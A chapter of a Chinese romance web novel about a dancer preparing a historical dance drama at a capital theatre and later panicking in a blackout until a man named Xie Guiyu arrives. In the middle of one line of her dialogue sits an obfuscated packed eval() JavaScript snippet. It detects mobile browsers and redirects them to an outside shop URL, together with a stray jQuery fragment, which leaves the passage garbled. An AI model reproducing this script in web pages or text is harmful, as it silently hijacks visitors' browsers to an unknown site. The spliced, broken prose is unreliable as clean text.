孟星杳搬家过去一周了,每天忙的昏天暗地。
今天要去首都大剧院做项目准备的工作,她刚刚化完妆,整理好妆容正准备换上衣服的时候,门外忽然传来了几下敲门声。
孟星杳走到玄关处的显示屏前,看清屏幕上站着的人是黎兰之后,才抬手打开了门。
开门的瞬间,她看到黎兰手里抱着一份文件站在门外,赶忙开口道:“换个衣服就好,很快的。”
黎兰进门换了鞋子,将文件递给孟星杳,“不急,先看看这个。”
孟星杳刚想转身去卧室换衣服,听到黎兰的声音又转了个弯,接过她递来的文件,打开。
她正看着,耳边同时传来了黎兰的声音,“看看,首都大剧院的批文已经下来了,可见对这个舞剧有多重视,你确定真的没有问题?”
孟星杳看了一眼文件,确实是首都大剧院的批文。
按理来说剧院给他们的排练时间是上部在10-12月,下部在2-3月,最终4月首演,这将近大半年的时间,批文是不该下来这么早的。
按照这架势,可不止重视这么简单了。
不过也不算奇怪,这是首都大剧院一手促成的项目,重视也是应该的。
文件上没什么内容,孟星杳很快就合上了,“就算有问题也得没问题,当初决定拿这个项目的时候就该想到有多艰难。”
黎兰看了眼孟星杳没有说话,她当初就不想孟星杳竞争这个项目,虽然能够带来知名度,甚至也许可以靠这部舞剧来获奖,但付出的努力和得到的奖励却不可能是正比。
孟星杳知道黎兰的担忧。
《千窟寄梦》是她的第一部原创舞剧,但它只是个四分钟的短片,无法申奖,单纯是她自费拍摄的作品,算是对她自己的一个礼物吧。
可这个项目可不一样,《霓裳裂》是实打实的优秀舞剧,是她舞蹈生涯的关键一步。
“算了,待会都要去剧院了,现在说这些也没意义。”黎兰收回了文件,没有打算再继续这个话题,她既然是孟星杳的经纪人,要做的就是帮助她,支持她。
孟星杳拽住黎兰的手臂,撒娇道:“我的兰姐,你相信我好吗?”
黎兰捏了捏孟星杳的脸蛋,“我当然相信你了,如果不是你我早就不在这行干了。”
这些年对她的职业规划,黎兰一直尽心尽力,这一点孟星杳从来不会怀疑。
黎兰原本是一位名声大噪的首席演员的经纪人,但是那位前辈退休了,她也打算辞职换一份工作,但恰好遇到了孟星杳,她俩也算是一见如故,便没再辞职,成为了孟星杳的经纪人。
*
下午,孟星杳和黎兰到剧院排练厅的时候,剧院院长已经在等着了。
院长姓吴,是个很成熟知性的女性,看起来大概五十出头,到孟星杳走到这边,露出了温和的笑容,主动上前伸出手,“欢迎孟老师。”
孟星杳被这称呼吓了一跳,能让首都大剧院的院长喊一声老师,这可太荣幸了,她也赶紧上前和院长握了手,笑着应声,“麻烦院长您亲自来等了。”
吴院长笑着摆了摆手,示意孟星杳不必客气,引着她往排练厅的方向走,一边走一边温和地和孟星杳介绍道:“我们的演员已经经过了一轮筛选,目前有五十多位。除此之外,我们还为这次舞剧请了一位顾问。”
孟星杳虽然不知道吴院长请的是哪位顾问,但是像这样的项目,请的顾问肯定都是大有来头的,笑笑道:“那太好了,我们这次是大型历史舞剧,确实需要一位历史顾问。”
排练厅大约站了五十多名年轻舞蹈演员,男女都有,穿着统一的舞蹈服,脸上都是期待的神情,毕竟这五十多名青年演员也是经过层层选拔才选中的,大家都想参与这个项目。
吴院长看着朝气蓬勃的舞蹈演员们,笑道:“孟老师,你给大家介绍一下吧。”
孟星杳见状也不再推诿,接过了话筒,站在了排练厅的最前方,将话筒放在嘴边:“大家好,我是孟星杳,也是此次舞剧《霓裳裂》的负责人,我相信大家也知道,除去男女主和高潮部分的群舞由我们舞团负责,舞剧的其他演员都将从你们中间产生。”
孟星杳话音刚落,新人们纷纷露出兴奋又紧张的神色,交头接耳小声议论起来。
《霓裳裂》主要讲的是南宋末年,舞伎云娘以一舞《霓裳》名动天下。
元军破城那夜,她被俘至北地大营,被迫于敌帐中献舞,火把猎猎,她着残破宫衣,以断袖为笔,在地上步步踏出万里山河的轮廓。
敌将大笑命她再舞,她却旋身冲向帅旗,水袖缠火,纵身焚作漫天星火。
舞剧在山河破碎之际,以云娘这种小人物为笔墨,彰显华夏气节。
他们基本都是刚刚毕业或者还未毕业的学生,担任这样大型舞剧的主演,那是陪伴一生的履历,也是入行的敲门砖,这样的机会来之不易,每个人都不想放过。
孟星杳扫过台下一张张年轻鲜活的脸,顿了顿接着开口,“三天后统一考核,其中有两位主要的角色拥有独舞时间,其他均为群舞,但这不是终选,排练期间,我会根据实际表现随时调整角色分配。”
听到这话,大家又都紧张了起来。
这意味着两个月的时间,每一天每一刻都不能放松。
“我面对面建个群,1111,大家先进群,稍后会把考核的舞蹈片段发过去。”
孟星杳说着拿出了手机,在微信页面建了个群,输入了进群数字后便收起了手机。
新人们闻言纷纷拿出手机进群。
吴院长也进了群,但她很快接了个电话,回来的时候手里还多了份文件,她将文件递给了孟星杳,“抱歉孟老师,剧院有点事我得去处理,这是他们的资料,您可以有个了解。”
“没关系吴院长,您先忙。”孟星杳的脸上挂着得体的微笑。
等院长走后,孟星杳翻看着刚刚院长递来的资料。
其实这批演员大部分都是京舞毕业或者还未毕业的,只有寥寥几位是非科班的,但基本功都很扎实,看得出剧院在初选时下了不少功夫。
孟星杳大致预览完,抬眸看向了新人们,脸上扬起了轻松的温柔的笑容,“大家不要害怕,我私下挺好相处的,大家有什么舞蹈方面的问题都可以问我。不过我有一个要求,私底下怎么和我嬉皮笑脸都行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939114|213827||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,但在舞台上,每个人都必须拿出专业舞者的态度。”
她停顿了一下,嘴角上扬的弧度大了些,双手击掌传来“啪”地一声,歪着头问道:“好吗?”
话音刚落,排练厅传来新人们一致的声音,“好!”
*
这次去主要是和大家见个面交流一下,不到两个小时也就结束了。
孟星杳去岑冉家蹭了饭,等再次回来的时候已经是晚上九点多了。
她将包放下,就拿起浴巾去卫生间洗了澡。
再次出来的时候,整个人轻快了不少。
孟星杳一边擦拭着头发,一边拿起手机,回了下微信的消息便放在了桌子上,走到了洗手池的前面,从底下的柜子里拿出了吹风机,插上电源吹了起来。
她偏着头拨弄发根,看到镜子被水汽模糊了一小半,又拿起纸在镜子上擦了擦。
可是忽然间,整个房间陷入了黑暗,吹风机发出的嗡嗡声也停了。
孟星杳站在黑暗当中,心脏剧烈跳动着,呼吸也变得急促而紊乱,身体像是被什么固定住了,怎么也迈不开腿,甚至连动都动不了。
小时候被锁在小黑屋的记忆瞬间涌上来,那种窒息般的恐惧死死缠住了她,黑暗里仿佛有无数双眼睛在窥视着她,窗外时不时发出些声响,每次让她抖了抖。
孟星杳身体不受控制地轻轻颤抖着,但只能强撑着抬手,摸索拔掉吹风机的插头,想着自己的方位和手机的位置,鼓起勇气抬腿朝前走去,每一步都走得小心翼翼,仿佛脚下是万丈深渊。
但是她忘记刚刚拉开了椅子,在快要走到桌子前的时候,腿一下磕到了椅子,整个人不受控制地摔倒在原地。
孟星杳在哪里摔倒就在哪里趴着,她甚至不想站起来了,屈膝抱住自己,将头埋进臂弯,抱着自己,缩在角落,任由恐惧把整个人裹得密不透风,像每次父亲不顺心了就把她关进小黑屋那样。
其实那些场景她不愿意再回想,只是落下了怕黑的毛病,就算不愿意想起来,也像个烙印一样深深的印在脑海里,以至于现在就算是睡觉也得开着一展小夜灯。
忽然间,门外传来了敲门声,让她从回忆中醒过神,被吓得整个人颤抖了一下。
孟星杳不敢回应。
敲门声越来越大,同时还伴随着一个男人的声音:
“孟星杳?孟星杳?”
听到声音的孟星杳猛地抬起头。
谢归屿的声音?
这是幻觉吗?
“孟星杳,我在门口,没关系的,试着来开门。”
是谢归屿的声音。
不是幻觉。
孟星杳的手放在墙壁上,支撑着站起来。
她还是害怕黑暗,可是如果努力地朝前走去,等待她的是谢归屿......
孟星杳想到这,循着敲门的声源,抬起手臂,缓缓地一步一步移到门口,又放下手臂,摸索着碰到了门把手。
她深吸一口气,按下门把手,将门打开。
走廊的灯光一下子涌了进来,落在孟星杳的脸上。
孟星杳看清了眼前站着的人。
是谢归屿。